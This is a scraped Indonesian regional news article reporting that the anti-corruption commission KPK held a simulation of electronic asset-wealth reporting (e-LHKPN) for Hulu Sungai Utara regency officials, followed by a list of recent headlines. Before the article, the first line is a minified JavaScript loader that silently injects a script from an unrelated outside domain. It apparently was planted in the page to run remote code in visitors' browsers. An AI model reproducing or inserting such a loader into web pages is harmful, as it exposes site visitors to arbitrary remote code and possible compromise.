(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

KPK RI Gelar Simulasi e-LHKPN di Lingkungan Pemkab HSU


AMUNTAI, Komisi Pembarantasan Korupsi (KPK) menggelar simulasi tata cara pelaporan LHKPN (Laporan Harta Kekayaan Penyelenggara Negara) secara elektronik bagi penyelenggara Negara di lingkungan pemerintah Kabupaten Hulu Sungai Utara (HSU), Rabu (14/11).

Seluruh pejabat eselon II dan III serta para bendahara di lingkup Pemkab HSU yang mendapatkan pendampingan dan sosialisasi ini, mengikuti dengan seksama kegiatan yang digelar di Aula BPKAD Lantai 2 tersebut.

Pada kesempatan itu, KPK juga memperkenalkan aplikasi LHKPN berbasis elektronik tersebut kepada seluruh pejabat pemkab HSU yang dipandu oleh deputi bidang pencegahan KPK RI. Hal tersebut sesuai dengan Peraturan KPK nomor 7 tahun 2016 tentang tatacara pendaftaran, pengumuman dan pemeriksaan terkait LHKPN.

Bupati HSU dalam sambutan yang di sampaikan Sekda H.M.Taufik mengaku sangat mendukung dengan upaya yang dilakukan oleh KPK. Hal ini demi terwujudnya penyelenggaraan negara yang taat terhadap aturan, sekaligus pencegahan terhadap korupsi. “Kegiatan ini sangat bagus untuk diselenggarakan agar terwujud penyelenggaraan negara yang mentaati aturan hukum yang ada serta menghindari perbuatan korupsi kolusi dan nepotisme (KKN),” terangnya.

Pelaporan terkait LHKPN kini sangatlah mudah dengan adanya aplikasi e-LHKPN. “Dengan mengisi dan melaporkan harta kekayaan kepada KPK, maka secara langsung sudah ikut mencegah terjadinya pelanggaran hukum yakni KKN maupun gratifikasi.” imbuhnya

Pemerintah Kabupaten HSU berkomitmen untuk mengawal LHKPN demi terwujudnya pencegahan dan pemberantasan terhadap korupsi di lingkungan pemkab HSU. Selain itu juga sebagai penyedia sarana control masyarakat dan uji integritas bagi penyelenggara negara.

Fungsional spesialis LHKPN KPK, Irwan mengatakan bahwa penyampaian laporan secara online wajib dilakukan melalui Pengisian e-LHKPN dengan aplikasi, tidak perlu lagi dokumen pendukung yang sangat banyak. “Batas waktu penyampaian paling lambat pada 31 Maret di tiap tahunnya,” tegasnya. (dew)

Reporter: Dew
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.